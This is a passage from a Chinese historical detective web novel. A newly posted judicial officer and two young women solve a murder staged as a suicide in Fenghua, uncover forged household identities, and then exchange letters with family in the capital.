徐医师说道:“一些家常菜,莫要嫌弃。”
只见那桌上摆了一道葱卷、虾仁三彩、咸呛蟹、红烧田鸡、红烧排骨还有一只烧鸡和骨头海带汤。
许秋水说道:“多谢徐医师款待。”
许秋水心想,见徐医师家中装饰应是节俭之人,平日里家常菜不应如此丰盛吧。莫不是知道我们今日要来此?还是说这些东西在奉化值不得几个钱?
楚云照向酒疯子问道:“我觉大叔颇为熟悉,可是我们之前见过。”
酒疯子点点头说道:“都是人,自然都差不多。”
许医师望向楚云照说道:“莫听他胡言乱语,他曾住你家过一段时日。又与你父母亲还有你舅舅都交好。小时候也曾带你玩过好一阵,想必是还有些映像罢了。”
楚云照点了点头说道:“那应是如此了。”
几人吃过饭了,又聊了几句才准备回去。
楚云照与秋水二人上了马车,甄二虎赶着车说道:“果然有本事的人脾气就是古怪。”
许秋水问道:“为何如此说?”
甄二虎说道:“你那新师父,早就知道我们要来,备好了酒菜。可又偏偏让我们在院中等了近一日,这还不古怪?”
许秋水又问道:“你怎觉得是特意提为我们而准备,若是平日里他们就吃些这些呢?”
甄二虎笑道:“我问过门口的病患了,大多都是些操劳病,徐医师大多都是义诊的。若天天如此大鱼大肉,财主都受不住。”
许秋水点点头说道:“我今日也是如此觉得,不知师哥如何想?”
楚云照说道:“应是为了测测我们的性子吧。”
许秋水点了点头说道:“这到是有理。”
几人驱车回了府宅,车还未在门前停稳。江学文便冲了上来说道:“楚参军,许娘子,莫要下车了,直接去县衙吧,出大事了。”
楚云照探头问道:“何事如此慌张,不可明日再去?”
江学文叹了一口气说道:“祁娘子也在衙门中,你还是快些去吧。”
许秋水也将头探了出来问道:“祁娘子如何了?”
楚云照问道:“你先莫急,你先将事情说个大概,我再与你同去县衙。若不说清楚,我也不知如何解决。”
江学文又叹了一口气说道:“今日我与祁娘子还有甄大哥去寻人,刚到那人家中。就发现那人上吊自尽了。”
楚云照继续问道:“可有找仵作先行查验?”
江学文说道:“就是找了,才出事了。仵作说是自杀,祁娘子说绝不可能自杀。那仵作便又要再验。祁娘子不许,那仵作便开始辱骂祁娘子。祁娘子便说要等了你来才可。现在我爹在稳着仵作和县令,祁娘子与甄大哥在守着那人尸体。所以参军快些随我去吧。”
楚云照便向甄二虎说道:“甄二哥,那快些望县衙去。”
甄二虎应了一声后,便将江学文拉上马车,让其坐于身旁后,便驾车向县衙赶去。
37. 初到奉化遇命案(二)
几人到了义庄门口只见一近六十左右男子,腰挎一方形木箱。站于祁多儿与甄大龙面前呵斥道:“哪里来的黄毛丫头,我做仵作几十年了。怎会有错,你快些让开。我再与你检查一番。”
祁多儿站其对面,并未答话。甄大龙双手握刀,呈蓄势待发状。那张仵作见甄大龙如此架势,也是不敢上前,只是在他们面前一直叫嚷着。
楚云照上前向那老人行礼后说道:“我乃新上任的司法参军,不知可是有何误会?”
张仵作回礼说道:“大人,这丫头好生无礼。我几十年的仵作经验,她竟平白无故怀疑我,我要再复验一次,她却不准。”
楚云照笑笑道:“这位是当今天下第一位童子科上等的女童,她若是怀疑必然是有所依据。你既多年仵作,也应知道有些痕迹初看没有,须要过些时候才会显现。不如我等一同再去查看一番。”
张仵作面色惊讶道:“只知是你带来的女子,却不知也是个读书人。倒是我失礼了。”
张仵作向祁多儿行了个礼,祁多儿也回了个礼。
楚云照便向望向许秋水问道:“你可否与张仵作一同前去验尸?”
许秋水点点头答道:“可。”
说罢便开始束发,戴上口巾,穿上围裙袖套等物。
张仵作疑惑得看向许秋水后又望向楚云照:“不知这位又是何来头?”
楚云照答道:“太医院左院判周岩亭同门。”
张仵作向许秋水行了礼,一脸惊讶道:“不愧是京师来的。”
几人一同进了义庄,只见横两列纵六列床位,都由白布所盖。其中有一处为凸起状,张仵作带几人向那白布鞠躬后将布慢慢揭开了来。
张仵作一边检测一边说道:“脑后分八字,绳交至耳后。绳在喉上,舌未出。指甲完好无抓损,应是自尽之相。”
许秋水点点头:“到是不差,可我有些疑点。这人所穿布料乃是一尺布三十两的金色浮光锦,鞋子却是粉色小头履,且一只深粉一只浅粉,明显不是一双,此人鞋子必然不是案发时所穿。”
张仵作惊讶道的望向许秋水所说的鞋子,又拿灯前来照了一照:“娘子所言即是,花样相同,但颜色确有些深浅不同。”
楚云照望向江学文:“喊上几个人,备上马车。秋水多儿,还有二虎兄。我等快些去此人居所查看一番,张仵作也已同前去。与大龙兄在此等候我等回来。”
几人上了马车,楚云照皱着眉头看向祁多儿:“你先说说今日是何情况?”
祁多儿思索了片刻说道:“今日你们出门不久,我们便也出发了。”
今日早晨。
祁多儿与江学文与甄大龙等人到了位置,祁多儿敲了敲门,一位十六七的姑娘将门打了开来问道:“你们是何人?”
祁多儿行礼道:“我受张山秀张郎君所托,前来求见沈司凌沈娘子。不知娘子如何称呼,可否引荐一番。”
那人大喜,到是并未回答祁多儿的问题。只是自顾自的将祁多儿拉了进门。一边往里走一边喊道:“姐姐,姐姐快些出来吧,你等的人来了。”
见里面毫无回应,便带着祁多儿向屋中走了去。刚打开门就听得那位小姑娘一声尖叫,祁多儿也急忙将甄大龙唤来,将沈娘子抱了下来。
甄大龙探了探沈娘子的鼻息和脉搏后望向祁多儿后叹了口气又摇摇头。
而后沈父沈母又跑了过来,让他们的儿子去寻一个人。又求祁多儿不要报官,见江学文一身穿着,两人都被吓了一跳。
祁多儿未回应两人,只让江学文去衙门寻几个人来将沈娘子抬回衙门。
听罢,楚云照继续问道:“那你们怎和那张仵作起了争执?”
祁多儿继续说道,江学文将尸体带回了衙门,本想先将楚云照先请回来。可又觉得,人既已死,秋水学医事大,便未派人前去。只先找了仵作来验尸一番。
江学文将张仵作请来了衙门验尸,李县尉也前来相迎。
李县尉向张仵作行礼道:“张仵作辛苦,休沐日也赶来此验尸。”
张仵作回礼道:“李县尉言重了,不过份内之事罢了。”
李县尉望了一眼祁多儿又看向张仵作说道:“应是这位新司法参军带来的美人诚心相邀,才让张仵作来得如此痛快。”
祁多儿向张仵作行礼道:“这到是污蔑张仵作对仵作之事的一片赤诚之心了。”
秋水听此问道:“既如此,怎会争执?”
祁多儿摇了摇头说道:“你且继续听下去。”
祁多儿又继续说道,待到张仵作验尸完成。
张仵作向李县尉行礼说道:“应是自杀。”
祁多儿听张仵作此话将眉头皱了起来。
李县尉望向祁多儿说道:“你看起来甚是不信服张仵作所言,莫不是你有何高见。”
祁多儿:“非也。只觉得有些疑点。”
李县尉面露不屑,嗤笑了一声:“你到是有趣,张仵作都查验了一番。都认定了是自杀,你却说是有疑点,你可是疑心张仵作?”
祁多儿被如此针对,一时气急失语说道:“你不必多言了,待到楚参军回了再验一番。”
张仵作听此也是心急,便想上前与祁多儿掰扯一番。甄大龙见他来势汹汹,便将张仵作推了开。
张仵作被甄大龙推得踉跄了一下,便开始指责祁多儿好不讲道理,李县尉又在一旁煽风点火。争吵了一刻钟后,楚云照等人才到衙门。
许秋水听了这些生气道:“李县尉不就是记恨多多当日拒绝他的提亲,故意为难人嘛。”
楚云照望着祁多儿叹了口气说道:“今日,让你们受委屈了。”
许秋水又感叹咒骂了一番,到了案发之处。楚云照下车让衙役将院子各处门口围了起来,又抓住了院中三人,一对年过五十的老夫妇,还有一位十六七的小姑娘。
那位小姑娘躲在老妇身后,老妇用手护着那位小姑娘。那对老夫妇身穿不过普通的麻布粗衣。小姑娘到是精致许多,虽不是什么名贵的料子,但穿得是当下时兴的花样款式,头上还戴了几支鎏金珠花。
楚云照望向许秋水等人说道:“祁多儿,秋水你等于张仵作前去沈司凌房中搜查一番。”
又看向院中抱成一团的三人问道:“你三人是何关系?今日的死者与你们又是何关系?”
那小姑娘拉着老妇人的衣袖喊了声:“娘。”
老翁怒瞪了一下小姑娘,又向楚云照行礼说道:“大人,此人是我夫妇二人买来陪伴小女的丫鬟,因是从小带大的,便也称呼我二人一声爹娘。今日的死者是我家中独女,还望大人明察。”
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一衙役快步走向楚云照面前说道:“大人,已找到案发时所穿之鞋。沈娘子书桌之下也有拖拽印记。”
楚云照点了点头,又示意一旁的衙役说道:“将此三人押入牢中,明日审问。”
六位衙役道了一声“是”后,便向院中三人示意了一番请的姿势,小姑娘被吓的哭了起来,老妇人一边安慰小姑娘,一边望向老翁。老翁叹了口气,向楚云照行了礼对那老妇人说道:“听凭大人处置,但请大人将我等几人关于一间牢房。”
楚云照点了点头,对衙役说道:“将此一家关于同间牢房,待明日提审。”
说罢楚云照又对一旁的衙役耳语了几句,便带队回了衙门将证物放于堂前问向张仵作:“张仵作,你如何看此案?”
张仵作向楚云照行礼道:“应是先用绳索勒晕,再将其悬挂于梁上。但其无挣扎力气,尸体便无脖颈便无挣扎之状态。此案是我失察,祁娘子与许娘子,老朽在此向两位致歉了。”
楚云照笑了笑,望向祁多儿与许娘子咳了两声。祁多儿与许秋水也向张仵作行了礼。
祁多儿行礼道:“您是长辈,今日是我失敬,还望张叔海涵。”
张仵作叹了一口气道:“多谢祁娘子胸怀宽阔,老朽惭愧。”
楚云照笑道:“既然误会已除,那便说说各自如何看待此次案情。”
张仵作说道:“应是后背偷袭,而且是一个老手。下手狠厉,迅速。且勒晕却不致死的状态时机把握精确。”
祁多儿说道:“我认为应是熟人所犯案,此人想将死着扮为为情自杀。白日里事发突然,未发桌上遗书,晚上才发现,字迹几乎一样。若死者并非自杀,那这封书信也便只有熟悉之人才能模仿。”
楚云照又问道:“还有无其它疑点?”
祁多儿继续说道:“我观今日所抓之老夫妇,身上所穿与死着差异较大。而且这对老夫妇未免对其婢女太过疼爱。这几人的关系还需查验。”
楚云照点点头道:“确实如此,今日已经吩咐了人监视这家人了。还有无其他可疑之处。”
祁多儿与许秋水皆摇了摇头。
楚云照便拿了五两银子双手递予张仵作道:“今日天色已晚,劳烦张仵作辛苦验尸。此为请张仵作夜宵之用,还望张仵作莫要嫌弃。”
张仵作将楚云照的银子推了回去说道:“大人不必如此客气,只望大人不计小人过,忘记老朽今日此番无礼便好。”
楚云照又将银子推了回去说道:“非也,今日是我这帮小辈无礼了,您能忘却了今日此事才好。”
张仵作思考一番后,便接下了银子说道:“那便多谢大人美意了,也多谢祁娘子许娘子心胸宽阔。”
张仵作说罢便向楚云照等人告退了。
待张仵作走远了之后,楚云照便向祁多儿说道:“听得传言已多日,今日一看心中已有三分确定。你明日与我审了那几位,再去仔细查阅一番奉化的卷宗。”
祁多儿点了点头。
许秋水望向楚云照:“那我明日作何安排?”
楚云照笑了笑回道:“你先于徐医师好好精进医术,此案不算初看不算复杂。”
许秋水笑着向楚云照答了一声“是。”
楚云照心想:“虽是不算复杂,可后续怕是要牵扯许多。”
38. 初到奉化遇命案(三)
夜间,楚云照将所抓的老翁提审问道:“你女儿的事,本官可暂不追究。但沈司凌之死,本官不可不查。近日这沈娘子可见过哪些人,又与何人有所通信?”
沈父听了楚云照此话,像是那打焉了的丝瓜,干巴巴的:“大人,草民已是死罪。但求大人取我一命即可,放过我那苦命婆娘和孩子。”
楚云照面色严峻,语气凌厉的问道:“你如实回答问题即可,近日这沈娘子可见过哪些人,又与何人有所通信?”
沈父佝偻着腰,双手握于腹前,像个枯树枝一样歪着脑袋站着:“沈娘子与草民一家居住一年时间,未见一人。书信交流则有三人,一是杭州千音画坊的坊主柳千音,二是千音画坊教习肖玉歇,三是她定亲的泸州郎君张山秀。”
楚云照又问道:“这柳坊主与肖教习,你可知是男是女?又与沈司凌有何关系?”
沈父叹了一口气道:“这柳坊主是女子,她乃是沈娘子挚亲。这肖玉歇只知是个男子,与沈娘子有些师徒情分。大人,草民知道的都已说了。”
楚云照点了点头道:“你与沈娘子如何相识?”
沈父扑通一下跪了下去,对着楚云照磕着头说道:“大人,都是草民鬼迷心窍。惩治草民一人足以。莫要在连累草民的妻儿了。我都说。”
楚云照望着沈父皱了眉头,沈父继续说道:“草民命苦,家中本继承了几亩良田。可我先前三个儿子都病逝了,独留一个女儿。有一富商要草民贱买田地,草民不允,他便买通官员又欺辱我,后不堪骚扰买了田地,却又说那些田地还是我的,要多交税。实在是拿不出来,草民女儿便想上街卖了自己为我交税。”
沈父说道此处扇了自己一耳光,又用着嘶哑哭腔继续说道:“索性遇见柳坊主家中小厮,卖下了草民女儿。他将草民女儿带了回来,称只要用我女儿的名义出嫁。待事成,便为我们在城中置办房子,做些买卖生活,草民女儿还可留于身边。”
沈父边说又笑着擦了擦眼泪:“之后解决了草民麻烦。将草民一家安顿在城中。这沈娘子也是一个善心之人,对草民夫妇也是尊敬,小女也与她情同手足。若大人能抓住杀沈娘子的凶手,此番死了也是无憾了。”
楚云照说道:“你且先退下,待有需要时再来审问。”
楚云照示意一旁的衙役将人带了下去,又叹了一口气,向椅子靠了过去。轻笑了一声,心中想道:“都说时态安宁了,我看如今汹涌的很。这拐卖人口,替代户籍的怕是海了去了。”
感慨一番后,直起来了身子,让两位衙役去查近日客栈酒楼,尤其是可有些外乡来的又颇通曲艺的。又派了两位衙役去沈父老家探查一番,所言是否有虚。
又写了一封文书,希望县令可派人去杭州千音画坊查查肖玉歇,若是在画坊便带回。若不在便查他的来头与画像。再问问这千音画坊的坊主知道此事是何反应。
办了这些事,见天色要亮。便觉得不必回去了,便想去库房查看一番有无相似的案件。走至库房见房中也有灯光,便问门口护卫:“屋中是何人。”
护卫行礼答道:“是祁娘子,昨日你们回来便在此处了。”
楚云照心中一惊,心想道:“莫不是也在此处熬了一宿?”
如此想着,他便轻声敲了敲门。听见屋内有祁多儿问道:“是何人?”
楚云照才将门推开,走了进去问道:“你怎得不回去休息?何必急这一时?”
只见祁多儿在书案前写着记录,左侧胡乱堆叠着一些卷宗,右侧则堆叠整齐得几小堆卷宗。
祁多儿起身答道:“总觉得心中慌乱,便来查些卷宗。”
“那你昨日可有何收获?”
祁多儿眼中泛光似得,从右侧取了一宗记录递给楚云照说道:“收获异常之大,师哥,你且看此案。”
楚云照接过卷宗,见上述所写。“大荣建昌二年七月初七,四十五岁女子击鼓鸣冤。状告自己婆婆将自己女儿卖了。后查实女儿三月前远嫁她乡,是为思念女儿所导致的失心疯。”
楚云照皱着眉头问道:“此案有何独特之处,是何让你觉得收获颇丰?”
祁多儿指向地上其中一叠书卷说道:“此处有二十来例人口案件,其中有一半。皆是女儿走失或被家中之人发卖了。且皆是说女儿早年便已出嫁,击鼓鸣冤之人也得了失心疯。”
楚云照冷哼了一声说道:“这倒真是稀奇又可笑,这记录案卷之人倒是真不怕后人怀疑。”
祁多儿望着楚云照,轻摇了一下头说道:“你看这个又,若不是这个又我也不会找出这许多卷宗了。此人不是不怕后人怀疑,是怕无后人怀疑。”
楚云照望着那个“又”喃喃念了几遍后说道:“望我们可莫要在又上续又了。”
祁多儿思考了片刻,点了点头。
半月后
前去杭州的衙役将肖玉歇绑了回来。柳坊主也跟了过来。肖玉歇被衙役一把推倒在了地上,双腿发抖却又面色狠厉得看着楚云照。柳坊主在外堂由两个侍女护着冷眼看着肖玉歇。
去杭州的衙役向楚知求说道:“大人,此人在案发期间确有离开千音画坊。已派人拿着他的画像去各个客栈酒肆询问一番,是否曾留宿。”
楚知求看了眼柳坊主后厉声问向肖玉歇:“你可知将你绑来是何原由?”
肖玉歇哼了一声说道:“既然被你们发现了,那我认栽。”
“你这是承认了沈司凌是你所杀?”
“是,那又如何。”
“将你如何杀害沈司凌的过程如实交代。”
“我翻墙进了她的屋子,就用麻绳勒住了她的脖子,她向要伸手将东西打碎吸引外面的人进来。我就又把她连人带椅子将后一拉。她够不着,我从铜镜里看见她那惊慌失措的样子,可是美急了。”
肖玉歇说后,又望着柳坊主哈哈大笑了几声。柳坊主气急,浑身颤栗。
见柳坊主如此摸样,肖玉歇更是兴奋的说道:“我见她晕了过去,便又将她悬于梁上。握住她的脚踝,待到她脉搏停了,我才离开。”
说罢又望向柳坊主笑。
楚云照甚觉恶心:“你因何要杀害沈司凌沈娘子,你与她是何冤仇?”
肖玉歇呸了一声说道:“因为她该死,这个贱人。询问我乐理乐谱,却是为和那张郎君风花雪月。我去寻她,还要将我赶出去。”
说道又看向柳坊主呸了一声:“还有这个臭婊子。让她将那贱人许配给我,她却不肯,还说她女儿不会也不可再踏足风月之地。画坊上出生的脏东西,却还高贵起来了,我好歹清白人家出生,竟还看不上我。”
楚云照喝道:“大胆狂徒,竟不面向本官说话。又在大堂之上说些污秽之言。来人,堵了他的嘴,先打三十大板以儆效尤。再待发落,退堂。”
柳坊主由身旁的侍女扶了出去,楚云照回了内厅与祁多儿说道:“这沈司凌之事到是已了,可这沈家三人如何判呢?还有这之后大鱼如何钓起,可真是一个难事。”
祁多儿向楚云照答道:“此案可先结,这肖玉歇如此熟练,可再审,沈娘子应不是第一个被杀之人。若审出来了,可说是这肖玉歇见色起意,沈娘子不从,便将人所杀。这些失踪与这替代户籍之案可先探查一番,在合并重审。”
楚云照点头道:“如此也甚好。”
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“禀参军,有人求见,是一妇人。好像就是刚在堂前被骂之人。”
楚云照看了一眼祁多儿,祁多儿点了头。
楚云照便向前来报信的衙役说道:“请进来吧。”
柳坊主强做镇定,带着哭腔对楚云照说道:“我知买卖户籍,顶替他人已是死罪。只求大人能让我见见我女儿的尸首,我将她好好安葬了,便来受刑。”
楚云照心想,人怎得总以为自己一死就万恶可消了,轻叹了一口气道:“柳夫人,一码归一码。你的慈母之心,本官可允。但你买卖户籍,顶替他人,此案还需严审。”
柳坊主擦了眼泪道:“草民感激大人为我女儿捕凶之情,若大人需要,定知无不言。”
“既得柳坊主此言,本官既放心了。”
楚云照本想先让祁多儿带柳坊主去义庄看看沈司凌,可又来了一位衙役通报:“参军,一位叫张山秀的求见,说是你好友。”
“柳夫人,你可识得这张山秀张郎君。”
柳坊主惊叹了一声:“莫不是泸州来的张山秀?”
楚云照答了一声“是。”
柳坊主震惊道:“我想一见,可又不知他了解几分。”
楚云照起身指向一旁的屏风说道:“柳夫人请现在屏风后回避吧,待你觉得可相见时再出来。”
柳坊主向楚云照行礼道:“多谢大人。”说罢便躲于屏风之后了。
“将张山秀请进来吧。”
张山秀满脸笑意地走了进来,向楚云照与祁多儿行礼道:“你等刚走两日,我便收到沈娘子的书信了。信中她已告知我其中缘由。可后续我寄的信却无回复,想是我送的礼太轻,她觉得我看轻了她,她不高兴,我便买了一支贵重些的钗子。一是想赔礼,二是觉得当面说清比较合适。不知祁娘子可否再与我走一遭?”
祁多儿满脸歉意的看着张山秀,半天未说话。
“祁娘子怎面色怎如此不好?莫不是刚来奉化,公务繁忙还未来得及送?”
祁多儿从袖口掏出手镯递与张山秀道:“确是有负所托,并未送到。”
张山秀接过镯子说道:“这我倒是放心许多,并不是嫌弃此物。应是送信的将信丢失了,我才未收到回信。祁娘子这几日何时有空,替我相邀一番?”
祁多儿沉默片刻说道:“我已见到了沈娘子,可未将手镯送出。”
张山秀面露不安望着祁多儿:“是她未接受么?”
祁多儿摇摇头:“张公子你先坐下,我慢慢与你说。”
张山秀向祁多儿行礼后退了几步坐下后望向祁多儿,心想是她嫌弃我穷酸了么?若是如此,那也罢了吧。
“沈娘子在我那日去之前,已被贼人所害。但有在沈娘子居处发现一封还未寄出,要寄给你的书信。信上有问,待到花开,可盼君来?”
张山秀木讷的点点头,呢喃道:“是我来晚了。”
楚云照见张山秀如此魂不守舍,便望向祁多儿说道:“你先带柳夫人去看沈娘子,我与张郎君说些话。”
祁多儿向柳坊主行礼道:“柳夫人请随我来。”
祁多儿将柳坊主带到了沈司凌的面前,柳坊主颤抖着将白布移开。忽的一下豆大的泪珠滴在沈司凌的脸上。
她又将怀中的手帕取出,将沈娘子脸上得泪珠擦去,刚擦干净之前的,却又落下新的。不知是自言自语还是对祁多儿所说:“我只盼她将来不必和我一样,将她送来奉化那日,我就做好今生不再相见的打算,可怎么就天人永隔了呢?”
祁多儿怕柳夫人伤心太过伤身便说道:“沈夫人,先随我回前厅吧。楚大人还有事相商。”
39. 初到奉化遇命案(终)
楚云照向柳夫人行礼道:“柳夫人,既已了解前因后果。云照还有两件事需夫人定夺,一件是沈家一家人今后如何安排?”
柳夫人:“大人是京师金记绣坊之侄,为沈家谋个糊口的活计应是不难。我可出沈家去往京师与安置的费用,其他则交于大人了。”
楚云照点头笑着望着柳夫人:“如此甚好。刚说了其一,其二则是我这位好友,还有事情想问夫人,夫人可否应允?”
柳夫人面色和蔼望向张山秀说道:“我见张郎君第一眼已明了,你是赤诚之人。这是五百两银子,足够你一生考学。若你能考上,不愿她做那孤魂野鬼,再来寻我。”
张山秀向柳夫人行礼道:“多谢夫人美意,山秀受之有愧,就此告退。”
说罢便拂袖出门而去,楚云照向祁多儿使了眼色,让她将张山秀拦下,请去家中。
祁多儿拦下张山秀:“张郎君可否与我同往家中稍候师哥。”
张山秀与祁多儿在院中等了近一个时辰后,楚云照也赶回了家。
“张兄,我受柳夫人所托,将此五百两银票转交给与你。你先莫要气恼,她说凌儿父亲说你说你才学渊博,仪表堂堂,又是个赤忱之人。他一生辜负了她们母女两,这件事到确实挑不出错,只是可惜凌儿没有这个福气。只是家中新丧,心情不佳,有些言辞不当之处还望你莫要多思。”
“多谢楚贤弟,但这银子我仍是不能收。”
“不收,那你可愿借?”
楚云照从袖口处又拿出一张借据望向张山秀:“此乃柳夫人所写借据,她说望你不为钱财所扰,若是不愿收取,便当作借款。若你应允,便在此签字画押。”
张山秀愣神片刻,向楚云照行礼道:“多谢张兄。”
待到傍晚,秋水学医归家。
楚云照向许秋水与祁多儿说道:“秋水,多儿,你们最近可要写信回家,明日甄大哥要回京师去将他的夫人与孩儿接来。”
秋水与多儿对视一眼后笑着点了下头。
楚云照说道:“甄大哥明日寅时出发,你们吃过饭后便去写信,写完后送予我就好。”
秋水皱眉问道:“甄大哥如此着急,都不等至天亮?”
甄大哥回道:“如今天气热了起来,早些出发,能躲些太阳。”
秋水点头道:“原来如此。”
吃完饭后,许秋水与祁多儿回了房间写信,楚云照与甄家儿兄弟私下相商量说:“甄大哥,明日你回京的人手可安排好了?”
甄大龙行礼答道:“已经安排好了,都是军营中的兄弟,信得过。”
甄二虎也行礼道:“明日假扮沈家三人的也已安排好了。”
楚云照向甄二虎说道:“与你那些军中好友说好,千万注意安全,若有人来,打得过,那探明一下底细后将人放了即可。不敌,则无需缠斗,那便直接逃命。”
甄二虎道:“参军放心。”
祁多儿房中,祁多儿提笔思索了片刻又放下望向许秋水说道:“刚好像有千言万语要与贺得宝和忍冬诉说。提笔却又是一个字也写不出了。”
许秋水笑道:“若你不知写什么,不如说说你那日被江学文装鬼吓到。但临危不惧提刀相问,差点让那装鬼的变成真鬼的事,让她们看个乐子。”
祁多儿怒视许秋水道:“呸。”
许秋水继续笑道:“让你与甄二哥那愣头青说,若不是你胆小未细看尸体却又妄下言论,才会引起你与张仵作的误会。这可不让甄二哥认为你是改了你怕鬼的毛病呢。”
祁多儿无奈道:“我倒本就不惧鬼神,这不敢看尸体,与此实在是毫无关系。”
“那前两日,甄二哥将马车赶去乱葬岗那日可有疗效?”
“你那日可比我要害怕。”
许秋水叹气道:“我惧鬼神,这些事可对你有用处?”
“我早就不怕了,昨日我还忘了与你说。甄二哥还联合江捕头将我关在了义庄之内。”
许秋水惊讶道:“他两也太胡闹了,你后来怎么出来的。”
“我一个个检查诵读他们的死状死因,他两见我真是不怕了,便将我放出来了。”
许秋水讪讪笑道:“你倒是更让人害怕了。”
祁多儿笑着问道:“你这几日在医馆与徐医师学了些什么药方,又看了几个病人。”
许秋水摇头道:“晒药,烘药,选药配药。学医五年,又来奉化再当一次学徒。原先在济安堂时,只觉得师父一人严厉,现今才明了,当师父的都如此严厉。”
“这是为何?”
“问我药材晾晒烘干存放时,我回得是在京师时的方式,此处天气差异我未考虑到。徐医师便让我重头开始了。”
“你我都且慢些来吧。”
“那便如此吧。”
两人思索纠结许久才将信写好,祁多儿只与许秋水合写了一封给贺得宝与忍冬的信,许秋水还写了一封给爹娘报平安。
忍冬得宝,奉化风景如画,绿树生青烟,翠柳染碧水。云随风动,水携落花流。晴日如棉,雨如绢丝。若得空闲,望可来此同游。秋水与多多在此一切都好,勿念。
爹娘,大哥二哥,近日都可好?此处风景甚好,我很是喜欢。出行有大哥的两位军中好友保护,在家有云照师哥照顾,一切都可放心。
大荣建昌八年六月初七
两人写完相视一笑,都未曾想到,思绪半日却也只写出这几句话。写完装好后,便送去给了楚云照,楚云照而后将其交给了甄大龙送往京师。
甄大龙日夜兼程,虽绕了些远路,却还比去奉化时用时短了好几日就到了京,拜见了楚知求与许春木,将信交给了两位。安置了沈家一家三口,休息了两日便启程回奉化了。
楚知求见秋水未给自己写信,又见楚云照信中所写案件目前查探的牵扯之广。心中又是气恼又是后悔。不该让秋水与楚云照一同前去。
楚知求回信与楚云照说自己会打探一番他们在京的脉络,又写了一封信与秋水说道:“让你与徐医学医,你怎得不说说如今进展?今后一月必须寄信一
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封,若下月我未见你书信,便让云照监督你抄写。”
金娘子见信也是不太高兴,但知是甄大龙还要在回奉化,便又备上了一马车吃穿用度让甄大龙带去奉化。
姚教习也对未收到祁多儿的信件心中不悦,但看见楚云照的信中讲述这些日子,祁多儿在奉化所受之委屈,心中也甚是心疼。便向祁多儿写信道:“若需帮助,可随时来信。若无事,则一月来信一次。”
许家几人一同看着秋水的信件。
秋水娘道:“怎就这几个字?你先念念。”
秋水爹将信读完后,秋水娘叹了一口气继续说道:“不说当地有何吃食,新识得了几个人?又有何风景?只让我们放心,这应是受委屈了。”
许春木见娘叹气,连忙将怀中信件掏出说道:“楚医师给了我云照的书信,秋水只是这几日在奉化的徐医师处学医。让他责备了,秋水又从学徒做起,不许行医,心中惆怅而已。”
许春林也接话道:“楚医师说,一方水土一方人。那里与京师差异太大,所以重头学起不算是坏事。秋水聪明,定然很快便可以如愿行医了。”
秋水娘点头道:“既然楚医师如此说,那我便放心了。”
秋水爹点点头说道:“她今后的路长远着呢,我们就少操心为好。”
秋水娘让秋水爹,在信上问问秋水如今多高了,脚有几寸,她给秋水缝制几双鞋再寄去。可又想念家中吃食?那边的食物可还适应?又说了家中今日有哪些收成,邻里有哪些趣事,都让秋水爹一一写上了。
二哥春林,先是嘲笑她一番又做学徒,又讥讽她今后行遍大荣各地,都要去做上几年学徒。
大哥春木到安慰道,楚知求楚医师说你天资聪颖,此次吃了狂妄大意的亏,今后必然不会再犯了。你且安心学习,不出一月必然可以出诊了。
秋水爹也附和春木道,楚医师说得对,莫要听你二哥胡言乱语。
许家写好书信后,第二天便要春木带去给甄大龙。
贺得宝与忍冬看到书信,心中也是疑惑,怎如此寡言少语。若是只有祁多儿在,这倒是说得过去,可秋水也在,却也只有这几句话,实在是不寻常。
忍冬望向贺得宝说道:“这两人莫非是有何困境了?”
贺得宝摇头说道:“不知。明日你去问问金娘子,我觉得应是有些事不想告知我们。”
忍冬点头道:“我明日去问问。这奉化景色我倒是十分好奇了,事事都忘了与我们交代,却独记得邀我们同游了。”
贺得宝笑道:“应是想念我两了,总感觉这几句话甚是悲伤。”
忍冬叹了一口气说道:“相比是受了不小的委屈。尤其是多多,又在衙门中从事,若有几个蛮横的,怕是不好行事。”
贺得宝先是点了一下头,又猛得摇头说道:“呸!呸!呸!你可莫要咒她。呸!不是咒,不要乌鸦嘴。以她的聪明才智,定然可以让别人服服帖帖。”
忍冬也点头复述道:“以她的聪明才智,定然可以让别人服服帖帖。”
40. 佳音难鸣愁绪结
忍冬扶颊,眨巴着眼睛,戏谑得看着贺得宝说道:“你可要告诉秋水,你与她哥哥的事?”
贺得宝点了一下忍冬的头说道:“你说何事?”
忍冬继续说道:“我几次去你木枋寻你,可都看见了她哥哥。”
“她哥哥收购了我家木枋的所有废弃木材,一等用作雕刻,二等烧炭,最次的卖到城中做柴。”
忍冬啊了一声:“这得多少银子?”
“不少”
“那他未收购时这些废弃木材用做什么?”
“以前没有今年这么多量,松木榆木也有一些炭翁低价收购,略次些的是附近村民取走回家煮饭所用。在次些的就是放在土地里烂了。”
“他是为你做这亏本买卖吗?”
贺得宝笑着摇摇头:“光是那盈利最少的做柴烧的三等木头,就足够覆盖购买我家木头的成本了。”
忍冬听了楞神片刻后说道:“他倒是聪颖,那你岂不是有些盼头?”
贺得宝听着忍冬的话回想前些日子她去木枋厂的后山,见到许春林。
他穿着一身褐色旧衣服,将袖子系在背后。两支胳膊露在外面,将废柴一扎扎捆好,一旁五六个伙计认真的听他讲着。
“先在这个篓子里放些引火的木屑,在将这捆柴放至木屑之上。一篓八文钱。若是家中有同等大小的篓子,买柴后便可以拿过来兑五文钱,买几份可以兑几份。你们可明白了?”
围着许春木的几个伙计齐声答道:“明白了,掌柜的。”
“那好,还有这分出来来的三等木材,只可装货三分之二,要留三分之一给附近村民。你们可明白?”
有位伙计摇头说道:“这倒是不明白。”
许春木说道:“因为这些木头原本都是给这些村名随意拾取的,我们算是抢了他们的。若不留些,既遭他们记恨,我们也太缺德了些。”
众伙计互相点头道:“掌柜的此言确是有理。”
许春木便招呼伙计说道:“那各位就都先忙起来。”
说罢便与其他伙计一同去装木材了,还是一旁的伙计提醒许春木,远处有几位姑娘一直看着他们。许春木随着那位伙计手指的方向看去才发觉是得宝带着婢女在一旁看着他们。
许春木见得宝带着婢女在此看着,便远远得向得宝行了一个礼。
又回头与身边的伙计说道:“那是木枋掌柜的女儿,应是木枋掌柜派来监督我们干活的。大家伙都手脚麻利些,别让人家看了笑话。”
贺得宝听见他说的话,不禁笑了一下,便带着自己的婢女回去了。
忍冬叹了一口气说道:“你是在对我笑,还是心中想倒了一个让你发笑的人呢?”
贺得宝笑着说道:“只是突然想到,我爹爹说秋水哥哥真是一个俊才,比我两位哥哥不知要好到那里去了。我母亲就说让我爹爹将秋水哥哥收为义子。”
忍冬笑道:“这倒是万万不可。”
贺得宝说:“这倒是未必不可。”
忍冬啧了一声,不在答话。
贺得宝向忍冬腰间挠了过去:“叫你你如此臊我。”
忍冬急忙求饶:“好得宝,是我多舌了,我错了。”
